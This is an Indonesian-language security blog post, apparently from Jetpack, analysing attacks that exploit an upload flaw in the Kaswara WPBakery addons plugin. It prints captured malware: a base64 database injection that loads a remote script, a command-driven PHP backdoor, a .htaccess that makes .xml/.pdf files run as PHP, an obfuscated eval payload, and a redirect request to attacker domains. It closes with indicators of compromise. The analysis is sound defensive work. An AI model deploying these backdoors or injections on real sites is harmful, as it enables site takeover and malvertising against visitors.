Plugin Addons Pembuat Halaman WPBakery Modern Kaswara yang Rentan Dieksploitasi di Alam Liar

Diterbitkan: 2021-06-08

Kembali pada 20 April 2021, teman-teman kami di WPScan melaporkan kerentanan parah pada Kaswara Modern VC Addons, juga dikenal sebagai Kaswara Modern WPBakery Page Builder Addons. Ini tidak tersedia lagi di Codecanyon/Envato, artinya jika Anda menjalankan ini, Anda harus memilih alternatif.

Kerentanan ini memungkinkan pengguna yang tidak diautentikasi untuk mengunggah file sewenang-wenang ke direktori ikon plugin (./wp-content/uploads/kaswara/icons). Ini adalah Indikator Kompromi (IOC) pertama yang dibagikan teman-teman kami di WPScan kepada kami dalam laporan mereka.

Kemampuan untuk mengunggah file arbitrer ke situs web memberi aktor jahat kontrol penuh atas situs, yang membuatnya sulit untuk menentukan muatan akhir dari infeksi ini; oleh karena itu, kami akan menunjukkan kepada Anda semua yang kami temukan sejauh ini (kami sedikit terbawa dalam penelitian, jadi silakan lompat ke bagian IOC jika Anda tidak ingin membaca).

Injeksi Basis Data, aplikasi Android Palsu, dan pintu belakang lainnya

Terima kasih kepada teman kami Denis Sinegubko dari Sucuri karena menunjukkan tindak lanjut injeksi basis data yang digunakan dengan serangan ini.

Pelaku jahat akan memperbarui opsi 'kaswara-customJS' untuk menambahkan cuplikan kode Javascript berbahaya yang berubah-ubah. Berikut salah satu contoh yang kami temukan:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

String yang disandikan base64 ini diterjemahkan menjadi:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Dan seperti yang biasanya terjadi pada skrip jenis ini, skrip ini akan memuat serangkaian cuplikan kode Javascript lainnya, dan muatan akhir akan berupa malvertising atau exploit kit. Ini sangat mirip dengan apa yang dilaporkan Wordfence di sini.

Dalam hal ini, skrip mati di hxxp://double-clickd[.]com/ dan tidak memuat konten buruk apa pun. Saya menemukan Javascript mencurigakan yang memanggil situs ini sejak awal 2020 dan orang-orang telah memblokirnya sejak 2018.

Aplikasi Palsu yang diunggah ke situs

40 aplikasi Android yang ditemukan di situs web yang kami periksa adalah versi palsu dari berbagai aplikasi, seperti AliPay, PayPal, Correos, DHL, dan banyak lainnya, yang untungnya terdeteksi oleh vendor Anti-Virus paling populer menurut analisis VirusTotal ini.

Hasil VirusTotal pada salah satu file APK yang ditemukan di situs yang disusupi

Saya tidak memeriksa maksud aplikasi, tetapi tinjauan singkat tentang izin yang diminta dapat memberi kita gambaran sekilas tentang apa yang dapat dilakukannya:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

File-file itu tidak segera diunggah menggunakan eksploit Kaswara. Setelah situs disusupi, penyerang akan mengunggah alat lain terlebih dahulu untuk mengontrol situs sepenuhnya.

File yang diunggah

Beberapa backdoor dan malware lainnya juga ditemukan di situs web yang disusupi oleh kerentanan ini. Saya akan membagikan analisis singkat tentang yang paling populer dan menarik di posting ini. Namun, saya ingin pertama-tama fokus pada yang paling kompleks.

Redirect dan aplikasi Palsu

Aplikasi palsu yang saya temukan di beberapa situs yang disusupi tidak diunggah dengan memanfaatkan kerentanan Kaswara. Mereka diunggah ke situs menggunakan alat peretas multi-fungsi, yang memungkinkan penyerang mengunggah beberapa kode jarak jauh (dengan memberikan URL atau string), dan mengarahkan pengguna ke situs jahat.

File dapat dengan mudah diidentifikasi dengan adanya string ini: base64_decode('MTIz');error_reporting(0); fungsi

Cukup menarik itu mengacak segala sesuatu selain ini.

Malware ada di satu baris, yang juga merupakan IOC yang menarik jika Anda mencari jenis anomali kode ini.

c.php malware dengan encode penuh

Untuk membuatnya lebih mudah dipahami, saya memecahkan kode sebagian besar kode, mengganti nama fungsi yang menarik dan mempercantik kode. Malware memiliki 6 fungsi berbeda, dan 5 di antaranya didasarkan pada nilai yang diteruskan pada variabel $_GET['ts'] . Untuk dokumen ini, mari kita pertimbangkan salah satu dari banyak contoh yang saya temukan: c.php .

/c.php?ts=kt

Ini tidak melakukan apa-apa dan itu akan memaksa situs untuk mengembalikan kesalahan 500 (nanti pada kode).

/c.php?ts=1

Mengubah nilai flag $q1a menjadi true untuk melakukan validasi kode dan menampilkan pesan OK kepada penyerang.

Dalam hal ini situs jarak jauh menjawab: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Kode”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Menulis file di server dengan kode yang disediakan oleh konten $_GET["v"] selama $_GET["p"] adalah checksum SHA1 dari 123 (ingat IOC pertama dari base64_decode('MTIz') ? adalah checksum itu).

/c.php?ts=tt

Menulis 5 MB "-" di server, mungkin digunakan untuk menguji apakah fungsi unggah akan bekerja di server.

/c.php?ts=dwm&h=HASH1,HASH2

Ketika malware menerima permintaan ini, ia melakukan tes untuk memverifikasi apakah file yang diunggah berhasil ditulis ke server. Hash MD5 mereka harus diketahui dan dikirim ke variabel $_GET['h'] sebagai nilai yang dipisahkan koma.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Mengunduh file dari serangkaian situs web pihak ketiga dan menyimpannya di server yang menamainya setelah 12 karakter terakhir dari md5 file yang diunduh.

Ini adalah fungsi yang digunakan untuk mengunggah aplikasi palsu ke server.

Berikut adalah contoh permintaan untuk mengunduh file berbahaya /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Mengarahkan akses

Jika opsi kt atau tidak ada opsi yang dipilih, kode melanjutkan ke pengalihan, yang dicapai dengan meminta gumpalan JSON dengan data yang diperlukan. Kemudian melanjutkan untuk mengarahkan pengunjung menggunakan fungsi header.

Responnya seperti ini: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Fungsi untuk mengeksekusi permintaan cURL dengan parameter yang diperlukan adalah yang ini: Tidak ada yang mewah…

Dan itu dapat diterjemahkan ke permintaan cURL ini:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

URL final, sejauh yang saya bisa uji, acak, tetapi memiliki karakteristik yang sama sebagai halaman palsu untuk layanan atau aplikasi populer.

wp-content/uploads/kaswara/icons/16/javas.xml dan wp-content/uploads/kaswara/icons/16/.htaccess

File XML biasanya tidak ditandai sebagai potensi ancaman, tetapi dalam kasus ini, kami memiliki file .htaccess yang dibuat khusus yang mengubah cara server web melihatnya:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

Bahkan, ia memberitahu Apache untuk memahami file javas, rumah, atau menu dengan xml, php, atau pdf sebagai file PHP untuk diproses sesuai dan dieksekusi. Jadi, file mana pun yang ada dalam struktur direktori yang sama dengan .htaccess ini akan mencurigakan.

File javas.xml sama dengan beberapa file berbahaya lainnya yang diunggah ke situs. Saya menemukan perbedaannya adalah bahwa beberapa memiliki satu atau dua baris kosong di akhir file, yang membuat hashing tradisional sedikit lebih rumit.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Kode berbahaya dikaburkan menggunakan string yang disandikan str_rot13 dan base64. Itu juga menggunakan nilai heksadesimal dan operasi matematika untuk menyembunyikan string lebih sedikit. Payload akhir tidak diketahui karena akan membuat fungsi berdasarkan nilai permintaan POST. Namun, payload tampaknya sama setiap saat karena bergantung pada pemeriksaan md5 sebelum membuatnya (c42ea979ed982c02632430e9e98a66d6 adalah hash md5).

Kesimpulan

Karena ini adalah kampanye aktif, pada saat menulis posting ini kami menemukan semakin banyak contoh malware berbeda yang dijatuhkan di situs yang terpengaruh. Beberapa hanya variasi dari apa yang kita miliki di sini, sementara yang lain cukup menarik untuk dianalisis lebih dalam. Cari beberapa posting yang lebih kecil segera hadir untuk menjelajahi beberapa contoh lain ini.

Ini menggambarkan pentingnya memperbarui ekstensi Anda dengan perbaikan keamanan terbaru; jika pengembang tidak merilis perbaikan tepat waktu atau dihapus dari repositori WordPress.org (atau pasar lainnya), kami sangat menyarankan Anda menemukan alternatif yang lebih aman.

Jika Anda khawatir tentang malware dan kerentanan untuk situs Anda, lihat fitur keamanan Jetpack. Jetpack Security menyediakan keamanan situs WordPress yang komprehensif dan mudah digunakan termasuk pencadangan, pemindaian malware, dan perlindungan spam.

Indikator Kompromi

Di sini Anda menemukan daftar lengkap semua IOC yang kami identifikasi:

Hash (SHA-1) Jalur Deskripsi ancaman
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Aplikasi Android Palsu
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Aplikasi Android Palsu
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Aplikasi Android Palsu
b354b2193e13956747cf3cf1268caa9ae9601a0 ./c016456e66cd Aplikasi Android Palsu
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Aplikasi Android Palsu
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Aplikasi Android Palsu
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Aplikasi Android Palsu
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Aplikasi Android Palsu
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Aplikasi Android Palsu
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Aplikasi Android Palsu
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Aplikasi Android Palsu
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Aplikasi Android Palsu
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Aplikasi Android Palsu
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Aplikasi Android Palsu
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Aplikasi Android Palsu
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Aplikasi Android Palsu
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Aplikasi Android Palsu
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Aplikasi Android Palsu
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Aplikasi Android Palsu
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Aplikasi Android Palsu
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Aplikasi Android Palsu
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Aplikasi Android Palsu
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Aplikasi Android Palsu
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Aplikasi Android Palsu
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Aplikasi Android Palsu
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Aplikasi Android Palsu
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Aplikasi Android Palsu
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Aplikasi Android Palsu
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Aplikasi Android Palsu
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Aplikasi Android Palsu
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Aplikasi Android Palsu
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Aplikasi Android Palsu
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Aplikasi Android Palsu
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Aplikasi Android Palsu
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Aplikasi Android Palsu
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Aplikasi Android Palsu
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Aplikasi Android Palsu
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Aplikasi Android Palsu
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Aplikasi Android Palsu
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Aplikasi Android Palsu
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Perangkat lunak perusak yang dijatuhkan
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Perangkat lunak perusak yang dijatuhkan
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php pengunggah file PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Perangkat lunak perusak yang dijatuhkan
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware Eksekusi Kode Jarak Jauh
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Perangkat lunak perusak yang dijatuhkan
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Perangkat lunak perusak yang dijatuhkan
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Perangkat lunak perusak yang dijatuhkan
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Perangkat lunak perusak yang dijatuhkan
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Perangkat lunak perusak yang dijatuhkan
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Perangkat lunak perusak yang dijatuhkan
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Perangkat lunak perusak yang dijatuhkan
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Perangkat lunak perusak yang dijatuhkan
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Malware Eksekusi Kode Jarak Jauh
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Perangkat lunak perusak yang dijatuhkan
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php atau ./wp-content/uploads/xeh02b.php Perangkat lunak perusak yang dijatuhkan
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Perangkat lunak perusak yang dijatuhkan
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Malware Eksekusi Kode Jarak Jauh
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Perangkat lunak perusak yang dijatuhkan
wp-content/uploads/kaswara/icons/16/javas.xml Malware Eksekusi Kode Jarak Jauh
smurfetta.ru Domain berbahaya
http://papass.ru Domain berbahaya